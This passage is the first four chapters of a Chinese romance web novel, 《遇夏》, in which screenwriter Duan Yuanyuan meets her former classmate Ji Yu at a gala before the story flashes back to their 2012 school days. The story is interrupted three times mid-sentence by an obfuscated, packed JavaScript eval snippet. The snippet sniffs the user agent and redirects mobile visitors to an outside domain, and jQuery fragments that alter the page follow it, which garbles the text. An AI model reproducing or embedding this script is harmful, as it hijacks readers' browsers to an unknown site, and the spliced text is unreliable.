《遇夏》 1. —又重逢— 《遇夏》 文/叶荔枝微博@叶荔枝枝 2022/07/03晋江文学城独家发表 * 又到了一年一度的毕业季。 今年江坞市的六月,雨水总来得突如其来。 淅沥沥的降雨莫名来的毫无征兆。 段圆圆驱车路过江坞大学外,看着穿着学士服,手拿学位证在校门口拍校门刻字的学生们,颇为感慨。 她和万千学子一样,在毕业前夕胸怀理想,总想用大学四年所学的专业为祖国建设添砖加瓦。 直到初入社会,才明白理想和现实的差距,想找份专业对口的工作实属不易,远远不是一份简历那么简单。 段圆圆大学学的海洋药学,虽然专业听起来冷门,但当年报考时,还是侥幸才擦线被录取。 她从小在小渔村长大,家门口就是大海,直到父母离婚后才跟着妈妈搬到了江坞市上学。 她本想毕业后找份专业对口的工作建设家乡,可这专业工作实在不好找。 她一没有实习经验,二来在学校也没有参加什么社团活动,奖学金也仅仅获得过一次。 段圆圆投了很多简历都石沉大海,无奈之下她选择了另一条路——考研。 她这次没有选择考本专业的研,而是选择了一个万金油专业“汉语言文学”。 也是她还算幸运,她报的学校竞争不算太激烈,跨专业考研竟然初试复试都顺利通过了。 但是她属于专业跨考,说实话读研期间她压力挺大的,读文献读到头晕眼花、肝论文肝到头秃的时候,她开始试着在网上写恐怖小说解压。 最开始她是自娱自乐,就是为了满足自己,写给自己看。 可后来追她的小说的网友越来越多,甚至有编辑私信她想要签约出版。 这也算是段圆圆走上编剧道路的开始。 小说竟然意外卖的很好,让她积累了不少人气,甚至还没毕业就做起了实习编剧。 毕业后她进了一家影视公司,正式成为一名编剧。 她这一路走的比圈内很多人都顺利,做编剧的时间不算久,就有了成绩还算不错的作品,她的名字也算是在编剧圈内小有人气,甚至有些小网剧的制片方会点名让她来写。 倒车,停稳,段圆圆拉开车门准备下车。 她将那些回忆感慨统统收起,看起来光鲜亮丽的履历,可背后的艰辛,只有她自己才知道。 公司新来的同事热情的打着招呼,“圆圆姐,您来了。” 段圆圆礼貌性的微笑一下,她的声音很甜:“造型师来了吗?” “在化妆间呢,刚到没五分钟。” 段圆圆点点头,拐进化妆间。 今晚有个活动晚宴邀请,需要着正装,公司很重视这次活动,还让造型师过来给她做妆造。 这次晚宴级别很高,据说请了不少各行各业的知名人士。 按理说段圆圆的资格还不够参加,可最近上面准备要拍一部正统的关于海洋保护的电影,段圆圆也是指定编剧之一。 这种天上落馅饼的好事段圆圆想了好几天,不是她妄自菲薄,实在是以她的资历,和一众编剧大佬放在一起,确实不搭的很。 她思来想去,如果硬要说,也许就是因为她本科的专业,和电影的主旨稍微对口,所以上面才在编剧名单了加了她一个。 “圆圆,睁眼,别眨眼,往上看。” 造型师说话的功夫打断了段圆圆的思绪。 “还画下眼线啊,没必要吧。”段圆圆每次画下眼线都会忍不住流眼泪,“我又不是演员,那么好看也没人请我做女主角。” “就你这颜值做女主角觉得没问题,而且老板特意交代了,一定要让你今晚展现出公司的整体形象来。” 不是造型师说恭维话,而是段圆圆确实长得不输女明星。 皮肤白皙,干净的脸上连一颗痣也没有,毛孔、痘印更是不复存在。 她是精致的瓜子脸,额头饱满,鼻梁高挺,笑起来唇边还有梨涡,眼睛里永远水汪汪的,看起来眼里装了很多故事,有故事的女人不论好看与否永远有魅力,更何况段圆圆长得好是极为好看的。 “那咱们说好了,我等着你找我演女主。”段圆圆笑了笑。 “没问题,等我中彩票着。” 段圆圆因为在化妆,努力咧嘴笑了笑,工作后和所有人打好交道,已经是她快刻在DNA里的态度了。 这个圈内十年河东,十年河西,甚至有些人的爆红都不需要用十年。 和所有人维持着或虚伪或真实但看起来良好人际关系,是她入行的必修课。 “好了,搞定啦。” 段圆圆听到造型师这么说,睁开眼睛,看着镜子里的她。 造型师今天化了一个精致的浓妆,就连下睫毛都刷的根根卷翘分明。 她换了一条祖母绿的丝缎长裙,纤细的肩带,摇曳修长的裙摆,腰腹部几层面料缠绕着设计精巧,十分凸显身材。 据说设计师的本意是致敬电影《赎罪》,可这条裙子对身材的要求很高,很少有女明星敢穿。 段圆圆对着镜子转了半圈,裙子背后是露背设计,但是没有像原版电影里一样将近快到后腰。 背后是细细的交叉绑带设计,刚好露出蝴蝶骨,不会过分妖娆,出席正式场合刚刚好,惊艳且明媚,随着走起路来裙摆袅袅,美的不可方物。 造型师见段圆圆穿着高跟鞋,“要不你先坐着歇会儿?一会儿曾总就过来了。” 段圆圆摇了摇头,“这裙子的面料太容易皱,我站着等会儿就行。” 今天穿的高跟鞋鞋跟少说至少有六厘米,段圆圆穿的不太习惯。 脚掌有些酸痛,这双高跟鞋是新的,第一次穿还有些磨脚。 就在段圆圆犹豫要不要先找双拖鞋穿一下的时候,曾总到公司了。 曾新城一进化妆室就看到段圆圆半倚着墙,手肘和小腿微微撑着墙,柔柔的站在角落里。 “怎么不知道坐下歇会儿?” 段圆圆立刻摆出微笑,任谁也看不出她现在脚掌酸痛,“这不是等您来接我,一起去晚宴呢吗。” 曾新城眼里藏不住的欣赏,作为影视公司老总,见惯了漂亮的女明星,可像段圆圆这样美丽大方的,也不多见。 要不是清楚的知道段圆圆的人品和实力,他都要忍不住怀疑为什么上面指名要段圆圆来写剧本了。 有着堪比女明星的美貌,却从来不以自己的美貌作为筹码,这样的人,在娱乐圈里少之又少,着实让人发自内心的欣赏。 “车就在外面,走吧。” 段圆圆跟上曾总,“曾总,您也知道,这种场合我是第一次来,我今晚就跟着您了。” 曾总点点头,“放心,别紧张,既然邀请你了,那你就别怕。” 曾总又看了一眼段圆圆,“更何况你今天不输女明星,我就等他们今晚问我,‘今晚跟你一起来的是不是你们公司新签的艺人’了。” 段圆圆也被曾总的幽默逗笑了,缓解了些紧张的情绪。 “据说这部电影涉及的海洋方面专业性的内容,上面特意找来一位专家,听说是中国香港有名的专家。”曾总看向段圆圆,语重心长道,“你既然在编剧名单里,而且你大学也涉及过这方面,那少不了和这位香港来的专家打交道,我虽说没见过这位专家,可你知道的,他们专家,难免傲岸自恃,不好沟通,尤其是他们讲的‘港普’,普通话不好也很正常,沟通中你一定要多些耐心。” 段圆圆在听到最后一句“普通话不好”时,愣了几秒,却无法窥见她在想些什么。 随后她认真回复道:“您放心,我懂的。我也很敬佩他们,而且肯定会和他们认真沟通的,再说了,我不是一直挺耐心的吗,而且我英语也ok的,实在不行我用英语跟他交流。” 曾总听完后放心的点了点头,“今晚据说那位专家也会来,到时候你和编剧组的其他老师,还有这位专家,都要好好交流一下,别紧张,如果真的交流困难,我帮你请个粤语教师。” 段圆圆被曾总的话逗笑,她说:“您放心,我明白的。” 司机一路平稳行驶,很快就到举办晚宴的地点了。 段圆圆下车,安静的站在酒店门口。 最近接连下了几场雨,地面到处落满了被雨水打落的花瓣,昼夜温差加大,空气里除了泥土的清芳还隐约有了点初秋的气氛,弄得人心情也开始有些不够平和。 她深吸一口气,虽然这是她第一次参加这么高级的晚宴,可不能紧张,更不能露怯。 在大厅门口聚集了一簇人,这一簇人中有一位个子格外高挑的男人。 从段圆圆的角度望去,只堪堪能看到一个后脑勺。 周围不少女明星从“后脑勺”身边经过后还不经意间的频频回头,甚至还有一位是影后。 段圆圆猜想,她们大抵是看那一位“后脑勺”的,看来那一位长得不错,难道是什么新晋小鲜肉,被邀请来充门面的? 眨眼的功夫,那位“后脑勺”便消失在段圆圆的视线进入会场了。 段圆圆也提起裙摆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346155|152686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚挽着曾总的手臂,走向层层台阶。 晚宴内觥筹交错,他们的进入并没有吸引旁人多少目光。 段圆圆本来还有些紧张,可进入大厅后,那些紧张顿时都消散了。 段圆圆小心打量着会场内的人员,她在看哪位看起来上了年纪,能够被人称得上是“专家”。 可宴会内场人来人往,看了一圈也没有找到目标人选,段圆圆放弃了。 她又在想,要不要找一找刚刚门口的“后脑勺”,好不容易来晚宴一趟,至少要看看,能让见惯娱乐圈内各个类型男人的影后也频繁回头看的那位男人,究竟正脸长什么样子。 曾总带着段圆圆和几位他还算相熟的圈内老板打招呼,算是把段圆圆介绍给他们认识一下。 不出曾总所料,他们几位老板见到段圆圆的第一眼,都以为是曾总新签的艺人。 而当他们得知段圆圆仅仅是一位编剧时,又露出了不一样的赞赏。 谁也欣赏才女,更何况是貌美的才女。 段圆圆这一会儿功夫换了好几支香槟杯了,她酒量还算不错,可也不能这么继续无止境的喝下去。 但曾总依旧在带她引见行业内的其他老板,没有让她离开自由活动的念头。 段圆圆的脚踝处一直有些不太舒适,特别是今晚走路时感觉脚踝处和高跟鞋细带摩擦的钝钝的疼,虽然这些疼痛可以忍受,可她还是隐隐的不太舒服。 她脚踝处本就有泡,再这样一磨,估计现在已经磨破出血了。 她把身体的重心放在脚趾和前脚掌上,走路时尽力保持着稳定。 段圆圆开始庆幸今天的裙子裙摆够长,可以遮住高跟鞋,只要她保持着面部微笑,维持体面,没有人会知道她脚后被磨的血肉模糊。 曾总看段圆圆在这个场合里还算放松,就让她自己随便转转,认识些人。 今晚来了不少年轻人,还是得他们自己打交道才行,而且段圆圆还是单身,今晚被邀请的嘉宾都是经过筛选的,那么多优质男性,说不定就能聊出爱情的火花呢。 段圆圆不知道曾总想的这么多,她现在只想去卫生间,看看自己的脚踝还好不好。 去卫生间要穿过一道长长的长廊。 长廊的灯光暗的发灰,段圆圆抬眸轻扫了一圈,长廊内没有人。 她长舒了一口气,扶着墙壁,找了个舒服的走路姿势,脚踝处的摩擦会减轻一点,不过看起来走路姿势会有些微瘸。 还好现在长廊内没有人。 她走了几步,才将将到长廊中部。 蓦的,她的眼前出现一道黑影,黑影定定的站在她眼前,拦住她继续向前走的路。 段圆圆被突如其来的黑影吓了一跳。 是一位比她高不少的男人。 淡淡的阴影覆在段圆圆眼前。 长廊的灯忽明忽暗,段圆圆看不清眼前男人的长相。 只能闻到他身上一股淡淡的、似有似无的味道。 段圆圆可以确定这不是香水味,更像是一种她熟悉又陌生的洗衣液的味道。 熟悉又陌生。 段圆圆有了这个认知,微微皱了皱眉,忽然想到了普鲁斯特效应。 大意是指只要闻到曾经闻过的熟悉的味道,就会开启属于当时特有的那段记忆。1* 段圆圆闻到这个味道,脑海里瞬间出现了什么记忆呢。 是混合着刺鼻油墨味的无数张刚从印刷厂搬回来还有余热的新试卷、是教室里吱吱转个不停还怕它掉下来的老旧风扇、是无数人穿着一模一样的校服可总能在人群中一眼认出的背影、是她曾经成百上千次想要忘记的那张脸...... 这些画面在她脑海里循环播放。 她的心脏忽然间不受控制的砰砰跳个不停。 段圆圆抬头看着面前的男人,昏暗灯光下无法窥见他的全貌,可总能看个大概,从她这个角度看去,她能看到棱角分明的、如刀削般的、熟悉的下颌线。 段圆圆有些认命般的妥协。 也许世界上有些人就该不停的遇见又不停的分别,即使他们没有结局,可他们总要交织在一起,哪怕是无用功的浪费时间,也要至死靡它。 想来大概面前的男人也是被邀请来参加晚宴的。 她甫要启唇犹豫着是否该寒暄一下,手心里就被对面的男人塞进了一个薄薄的,握在手里感觉类似于创可贴之类的东西。 与此同时男人的声音在昏暗幽长的长廊内响起,他的嗓音充满磁性,好听的有些不真实,一开口便是字正腔圆的普通话:“给你。” 2. —不认识— 长廊不远处传来窸窸窣窣的交谈声。 大抵是有人朝这边走过来了。 眼前的男人没有继续再说话,扭身消失在她的视线里。 如果不是掌心中还握着的小薄片依然温热着,这真实的触觉告诉段圆圆这一切都是真实存在的。 她都要差点以为这不过是一场她的错觉。 长廊的灯光依旧恍闪昏暗。 段圆圆扶着墙,忍住脚上的不适感,一点点走到卫生间内,卫生间灯光明亮,她才看清,原来他刚刚递到她手心里的,不是创可贴,而是专门用来贴到脚上的防磨贴。 她将防磨贴握在手心里,有些微微发愣。 可她什么也没想,只是盯着手心在发呆。 察觉到自己在发呆的段圆圆自嘲的摇了摇头。 如果是曾经的她,也许会去想为什么男人身上会随身带着高跟鞋专用的防磨贴。 但现在的她,只会查看清理一下脚上的伤,随后动作利落的将防磨贴贴到脚踝处。 做完这一切的段圆圆,站在洗手台前,对着镜子,嘴角上扬,将刚刚发生的一切都抛之脑后,弯出了一个光彩照人的营业式微笑。 随后就像什么也没有发生过,她站得笔直,款款绰绰的走回晚宴会场。 曾新城看见段圆圆,冲着她招招手,“来,咱们去见一下那位特别邀请的专家。” 段圆圆露出适宜的微笑,她点点头,跟着曾新城走。 那位据说是特意邀请来的专家,就连曾新城也没见过。 曾新城认识这部电影的其中一位投资人,由他牵线,大家互相介绍认识一下,日后合作起来也方便些。 “老陈,我来介绍一下,这是我们公司的王牌编剧段圆圆。”曾新城又笑着看向段圆圆,“这是著名投资人陈安畅。” 段圆圆在心里乐的想笑,公司里人才辈出,她不论是论资历还是论作品,哪里称得上是公司的“王牌编剧”。 但她还是把这份夸奖照单全收,她知道这些场合需要适时的“浮夸”一下,段圆圆微笑着和陈总握手问好,简单的寒暄之后,陈安畅冲着曾新城说:“我把那位你一直想见的专家叫来,大家认识一下。” 随后陈安畅在场内环视一周,目光定定的落到某处,他拿着红酒杯朝那处走了过去。 段圆圆和曾新城也寻顺着陈安畅的目光看过去。 曾新城在心里默默的嘀咕,哪里有什么上了年纪的专家?看那位穿着西装,身型挺拔,看背影分明是个年纪不大的小伙子嘛。 只见陈安畅站在那位西装男旁边,态度恭敬,那位男人听到什么后,转身侧目,朝着段圆圆他们的方向望了过来。 刚刚段圆圆就发觉,那位所谓专家的背影,实在有些熟悉,不止是背影,她还发觉,这位专家的“后脑勺”也有些熟悉。 思索几秒后,段圆圆这才想到,这不正是刚刚在门口时,不少女人都频频回头的那一位吗。 段圆圆的目光竟这样就和他直直的撞上。 不过现在看来,果然这熟悉感不是她的错觉。 觥筹交错的宴会厅,播放的是和氛围相符合的圆舞曲,华丽又高调。 不远处的男人伴着圆舞曲的和弦向一步一步这边走过来。 距离越来越近,男人的眼眸愈加漆黑深邃。 只不过他们中间隔着些许距离,她看不清他眼底的深意究竟是什么意思。 陈安畅很快和他一起走过来。 “我来介绍一下,这位是万华影业的曾新城曾总,这位是他们公司的著名编剧段圆圆。”陈安畅又向身边的男人笑了一下,随后对曾新城和段圆圆说:“我身边的这位就是为了此次电影特意请来的专家,Kreis纪预。” 现在男人就站在段圆圆面前。 他穿了一身裁剪得体的西装,高奢品牌的纯手工定制,面料质感看起来就十分高级。 领带和袖口一看便出自一个系列,领带上低调的暗纹让他的气质看起来更加稳重。 他的皮肤是慵懒的冷白调,眉骨优越,鼻梁高挺,眼眸明亮清澈,下颌棱角分明。 此刻的他看起来清矜又贵气,说他是政界新贵也一定有人相信。 曾总热情又有些拘谨的和他握手,口中说着些热络的场面话。 但纪预的目光却若有若无的向曾总身边眺去,更确切的说,是在看段圆圆的脚腕。 裙子太长,遮住了,看不到是否贴上了防磨贴。 段圆圆略微不自然的转动了一下脚腕。 曾总人精一般的察觉到了,立刻不着痕迹的将话题转移到段圆圆身上,“这是接下来要和您合作的,我们公司的编剧,段圆圆。” 曾总用眼神示意段圆圆赶紧快些和纪预打招呼,别再一直站在旁边做背景板。 段圆圆心想,不轻不重的打个招呼便算了,他们似乎没什么握手的必要。 可没想到,对面的男人主动的向她伸出手,骨节分明的手指撞入她的视线。 男人的手指白皙修长,青筋微微凸起,指甲是很健康的淡粉色。 这双手对她来说并不陌生,她高中只需要微微偏头便能看到,她看了足足两年。 她曾经无比的迷恋这双骨节分明的手。 男人的声音低醇好听:“你好。” 只是一句简单的你好,没有任何的名称修饰词。 就仿佛他们早就熟稔到不需要做过多无谓的介绍。 段圆圆讨厌他这样自以为是的高高在上,像他这样的大都市的天之骄子,被那么多人捧着,走到哪里都不乏关注的目光,总是习惯了优先自我想做什么就做什么,就连过多的半句解释也不会有。 就像他当初的不告而别一样。 段圆圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346156|152686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神清荡平静,心早就了无波澜,就如同对面真的只是一位要合作的专家,她与他再别无其他关系。 “您好,纪总。”段圆圆淡淡的开口,语气中听不出任何情绪。 但是段圆圆没有伸手去回握纪预的手,她的右手自然的垂在身侧,手腕处戴的手链波光粼粼。 虽然她知道自己这样非常的不专业。 可她从始至终压根就没低头,全然装作没有看见纪预主动伸出的手。 纪预的手就在空中直直的僵住。 但他也不恼,笑着收回了手。 这分明是一件看起来有些尴尬的事情,可他的动作依然矜贵,俨然就像个贵公子。 完全看不出刚刚发生了什么。 曾总在一旁,笑着找话打了个圆场。 这件事便也这么过去了。 几个人互相加了个微信,寒暄了几句,但大部分的时间都是纪预和曾总在说。 除非到万不得已必须要她说话的时候,段圆圆都没有接话。 没多久又有人来找纪预,纪预便转身离开了。 他刚一离开,还未走远,曾新城和陈安畅就按耐不住心中的好奇。 曾总悄悄问段圆圆,“你和纪总之前就认识?” 纪预和段圆圆之间,流淌着一种微妙的氛围。 那是一种他们自我难以察觉到,但旁人一眼便能体味到的他们之间的熟悉感。 段圆圆略微有些意外为什么曾总会这么问,她眸光一转,思考的时间都没有,便很干脆坦然的回答:“我们不认识。” 不远处的男人脚步一顿,他开始怨恨自己现在为什么要有这么好的听力。 他们的对话完全清晰无比、一字不落的传进他的耳朵里。 就连想欺骗自己听错了也做不到。 他的心忽然泛酸泛皱。 明明只要说一句“认识”,只要曾新城和陈安畅信了,就能给她带来许多事业上的方便。 她的老板会待她更好,陈安畅也一定会为了她介绍更多的人脉,即使没有这些,说一句“认识他”,也能让她现在毫不受重视的影编人员里多一些话语权,这些简单明了的道理,他不相信段圆圆不知道。 可段圆圆宁愿毫不犹豫的撒谎,也不想实话实说的承认他们两个人分明就认识。 而且不仅仅是认识而已。 纪预抬起脚步,继续向宴会内场走去,他要把刚刚听到的话都甩在身后。 仿佛他刚才的脚步一顿只是一闪即逝的幻觉。 他们两个人接下来还要继续合作电影,还有的是时间。 可他心底仍然酸涩苦闷,像是被人紧紧扼住,那吊诡的、难以言说的情绪却支配着他的心脏,怎么甩也甩不掉。 他无法继续自欺欺人下去。 岁月迢迢且漫漫,原来她是真的不想再认识他了。 3. —回南巷— 他们故事的开始,段圆圆曾经一度以为是在世界末日传说流传的最广的那一年。 那是二〇一二年,关于世界末日的传说在学生们之间流传的沸沸扬扬。 每次有不会做的题目了、遇到讨厌的人了、碰到很凶的老师了、零花钱不够了...... 遇到这些时候,总是用“世界末日十二月就要来了”这个听起来不切实际又在悲伤来袭时希望它有那么一点点真实的玛雅传说安慰自己。 已经接受过九年义务教育的学生们,一定不会彻底相信地球会毁灭的虚假妄言,但他们需要寻求一个在学习中的心里安慰。 这样的自我安慰在学生们之间屡试不爽,从年初伊始孜孜不倦的讲到了暑假来袭。 “特意给你炖的花生核桃瘦肉汤,听他们讲,对大脑可多好处了。” 中年女人的声音风风火火,她在家也穿着一身职业西装,随意的围了一块儿围裙,盛了一碗刚炖好的汤放到了段圆圆面前。 段圆圆拿起碗中的白瓷勺,舀了一小勺汤,碗口还冒着白腾腾的热气。 “热。”段圆圆吹了口气,抿了一小口,略微嫌弃的把勺子放回碗里,“妈,你是不是又没加姜片。” 段圆圆的母亲杜文娟女士在一旁连连摇头,“哎呦,这个汤哪里能加姜片了,而且我都提前尝过了,一点也不腥。” 看着段圆圆不完全不想继续喝,杜女士继续在一旁说,“你懂什么叫‘殊途同归’、‘条条大路通一中’吗?既然上天让你去江坞一中的总校区,那就好好学,最后考个重本!” 江坞一中是江坞市的重点高中。 但这其中又分为一中总校区和一中分校区,不同的校区建在两个距离很远的地方,虽然都挂着“江坞一中”的名字,但内行的人都知道,总校区才是真正的江坞一中。 总校区基础设施完善,师资力量雄厚,教学质量高,每年学生们考的成绩也都很好,至少每年都能出二十个TOP2的大学生。 有些班级的同学成绩都非常优秀,甚至到了大学他们还能继续做同学。 但是一中总校区招生极为严格,对外地学生的限制更多,所以一般外地户口的同学很难进入总校区,而且如果孩子是初中后才把户口迁过来的也不可以,并且一中不接收外地借读生,所以即使是家里有钱也很难把孩子送进一中。 于是大部分的学生便退而求其次,进入分校区或者选择其他高中。 但是从几年开始,一直在流传分校区的土地要被征用重新规划,这个传言流传的十分广泛,甚至还有人打着“内部人员”的名义拍着胸脯信誓旦旦的保证这一定是真的。 既然校区要拆迁,那拆迁后不就统一合并到总校区了吗? 于是不少学生家长打着这个念头,又动了把孩子送入分校区的念头,说不定高二或者高三,就能搬到总校区了呢。 但是抱着这样念头的家长和学生,绝大部分仍然继续在分校区读完了高中。 土地征用的消息直到去年才彻底尘埃落定。 段圆圆就幸运的赶上了总校区和分校区合并的第一批。 合并后的江坞一中学生数量大规模扩招,之前总校区许多条件都有了变化,学校致力于让更多学生都能进入重点大学。 如果是别的学校这样说,家长们一定会质疑学生数量多了之后教学质量是不是会下降,老师们能不能顾得过来这么多学生这一类的问题,但江坞一中这样说,完全没有质疑声,家长们闻讯后都挣着抢着把孩子送入江坞一中,甚至中考分数不够的,也选择交高昂的择校费。 段圆圆不是江坞本地户口,初中也是借读生。 在并校前按照招生要求她只能去分校区,但是合并后的要求,只要参加的是江坞本地的中考且分数达标,外地户口的同学交择校费也能进入江坞一中。 杜文娟女士听到这个意外之喜后当天高兴的连吃了两碗饭。 果然他们家是有些“拆迁运”在身上的。 他们一家不是江坞本地人,而是从小土生土长的生活在一个小渔村,那里靠海,风景秀丽,当地的收入来源基本靠捕鱼和海鲜养殖加工,还有一部分人做珍珠养殖,旅游业发展的在当时不算旺盛。 但是在段圆圆小学四年级那一年,他们村被规划要开发成新型旅游基地,所以他们拿到了一笔可观的补偿。 那是一笔放到现在看来仍然很多、很可观的补偿金。 所以她们完全不考虑择校费的问题,只要段圆圆能够进入江坞一中就行。 谁还没有个望子成龙、望女成凤的状元梦了? 即使成了母亲,没有了做状元的机会,但也希望自己的孩子能成为状元。 段圆圆在一旁给杜女士泼冷水,“那也不用现在就开始喝汤吧,而且总校区扩建了那么多楼,说不定吸收不到之前那些学生的风水呢。” 江坞一中的总校区有一栋“清北楼”,传说二楼最东侧的班级,就是每年高三的各个尖子生。 没有一个一中的学生不想去这间教室。 杜女士突然提高音调,“哎呦,您老人家这要求可真多啊,能进总校区就已经很幸运了,也不枉咱们搬到这里住。” 当时杜女士完全打着“死马当活马医”的念头,万一哪天能上总校区了呢? 于是在段圆圆初三那年,买了这间离江坞一中总校区很近的房子,房子是小产权,但是这附近住的基本都是江坞一中的走读生。 段圆圆吃了两个水煮鸡蛋,那碗核桃瘦肉汤被她推到了一边,“既然都能上一中了,还报什么辅导班。” “你懂什么,就算今年真是世界末日,你也得学到毁灭前的前一秒。”杜女士又把那碗瘦肉汤推回段圆圆面前,“快,喝了汤就去成魁教育。” 杜女士说完,把围裙摘下来,一身职场西装让她看起来利落果决,眨着眼睛冲着段圆圆讲:“一会儿你去上课,我去公司,我们都有光明的未来。” 成魁教育是杜女士给段圆圆报的新高一预科班,为了不让孩子输在高一的起跑线上,这种制造焦虑的辅导班在孩子刚刚中考结束的家长中格外有市场。 段圆圆压根不想去,但她拗不过杜女士,只能在她的“压迫”下夹缝生存。 成魁教育离段圆圆现在住的地方很近,走着去就行。 段圆圆她和杜女士为了读书方便,搬到了巷子里。 巷子有一个很文艺的名字——回南巷。 回溯三千里,江天南飞雁。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346157|152686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坞的夏季闷热难耐,太阳如同火球一样挂在头顶,云朵在周围炙烤几秒就消散的无影无踪。 段圆圆刚出门,没走几步路呢,身上就热出了薄薄一层汗,黏黏腻腻的,短袖贴在身上,这滋味并不舒服。 她低着头走在路上,宽大的遮阳帽遮住了大部分的脸颊。 她暗暗的想,其实她不喜欢“回南巷”这个名字。 她想到了回南天。 每年冬春交际之时,空气里渐渐有了生机勃勃的暖意,但伴随暖意一同而来的是无穷无尽的潮湿。 一切的一切开始发霉,开始变质腐烂,墙壁有渗不完的水珠,衣服摸上去总是湿漉漉的。 那一眼望不到尽头的雨雾,就如同她现在看不到方向的人生。 人生看不到方向,但能看到辅导班的大门。 成魁教育的老师站在大门口,满眼微笑,“同学,今天很准时没有迟到喔。” 段圆圆点了点头,和老师问好后坐到了她的座位上。 她的位置靠窗,能一眼看到回南巷的巷尾。 回南巷从高处看去是窄窄的一条街。 厚重的石墩,茂密的国槐,还有高高细细的电线杆。 和几家人门口趁着天暖搬出来晒的棉被—— 虽然段圆圆也想不清楚为什么他们夏天要晒棉被。 有些人骑着自行车在巷子里穿过,段圆圆甚至能听到他们拨动手把处铃铛的清脆声响。 本就不宽敞的巷子看起来更加狭窄紧密。 段圆圆完全没有在听课,她无聊的跟着自行车的目光随意飘散着,自行车骑到了巷子的最尽头。 那里竟然有一个段圆圆从来没有注意过的篮球场。 估计现在这么热的天,篮球场上也不会有人。 段圆圆想要看的更加清楚一些,但是她坐在座位上,视线有限,这已经是她能看到的极限了。 “......已知α是第二象限角,那么α/2是第几象限角?段圆圆,你起来回答。” 段圆圆突然被老师点到名,但是她刚刚走神儿,哪里知道老师讲到了第几题、第几象限...... 她猛然被点到名后,心脏跳的厉害,从座位上站起来,低头看着卷子不说话。 老师见段圆圆她刚刚讲过的知识点都答不上来,有些恨铁不成钢,擦了把头上的汗,开始在讲台上踱步,“你们不要觉得辅导班不是正式上课,就不用认真学了,你们知不知道,高中的时间有多么宝贵,你多学会一个知识点,多做一道选择题,就能高五分,你们知道五分在高考是什么概念吗?那是上百万人啊......” 段圆圆站在座位旁,辅导班老师这段话已经讲了很多次,她早就听的倒背如流。 她站起来后,才发现自己的视野开阔了许多。 刚刚坐着看不清的篮球场,现在可以看的比刚刚清楚很多。 炎热的酷暑,就连夏蝉也会觉得燥热。 现在篮球场上空空如也,没有什么人。 段圆圆像是印证了自己心里的猜想,有些心满意足的准备坐下。 可就在她刚刚准备坐下,弯曲的双腿和及膝的长裙刚刚碰到凳子时,她看到篮球场从边缘处,忽然滚进来了一只篮球。 4. —三分球— 伴随着小小的篮球一起出现的,是一双修长的腿。 穿着黑色运动裤,脚上踩着一双黑色的帆布鞋。 段圆圆自己都诧异她的视力竟然好到这么远的距离能看出来他穿的不是篮球鞋。 篮球场上的男生逆着光,距离又有些远,段圆圆看不清他的上半身和他的长相。 但莫名的,心里有一个抑制不住的想法即将破土而出—— 她想立刻冲出教室,去回南巷巷子末尾的篮球场。 就现在。 下课铃就在这时响了,难得的没有拖堂。 因为是辅导班,学习时间没有在学校时那么紧张,所以距离下节课有二十分钟的休息时间,如果来回都快点小跑着去,时间完全够用。 段圆圆打开的课本都来不及合起,起身时推动桌子的动作略微猛烈,墨蓝色的水性笔被她的裙子带到了地上,“啪嗒”一声,就落在段圆圆脚边,她也没有捡起。 她走出了教室。 成魁教育是一家规模不小的辅导机构,涵盖了初中、新高一和高中所有的年龄段,整栋建筑一共有六层楼高,段圆圆所在的教室在四楼。 她的手掌扶着楼梯把手,找到支撑点后楼梯在脚下一阶一阶的挪动的飞快。 一层、又一层。 她在二楼和三楼中间的台阶处骤然停住。 心脏因为短时间内剧烈的运动和情绪的变化砰砰跳个不停。 段圆圆站在原地深吸了一口气,静置几秒后,她放弃继续向下走,而是随即转身,上楼,又重新回到教室。 刚刚掉在地上的笔被辅导班的同学捡起来放回了桌上。 段圆圆左手胳膊撑在窗台上,托着脸颊,右手手中百无聊赖的转着笔。 一圈又一圈。 她右手手腕处戴的手链随着转笔声发出叮叮声响,在嘈杂的课间里清脆又明亮。 段圆圆没有按耐住心中的好奇和一种说不清的情愫,伸出手推开窗户,向巷子深处的方向探出头。 开窗的一瞬间热浪扑面而来,但是探出头后视线比之前好了许多。 空荡荡的篮球场上现在仍然只有一个人。 他的头发在阳光下泛着淡淡的光,不太像纯黑色,而是有些略微的深棕栗色。 身上穿了一件很简单的黑色T恤,没有过多的装饰,看得出来身材比例不错,至少从这个角度看去,他的个子很高。 他的侧脸线条流畅锋利,能看到高挺的鼻梁。 段圆圆的身体在空调屋内,脸颊却经受着热浪的洗礼。 这样的冷热交错让她的身体不受控制的打了个颤栗。 但她仍然没有关上窗户,继续探头看着不远处的篮球场。 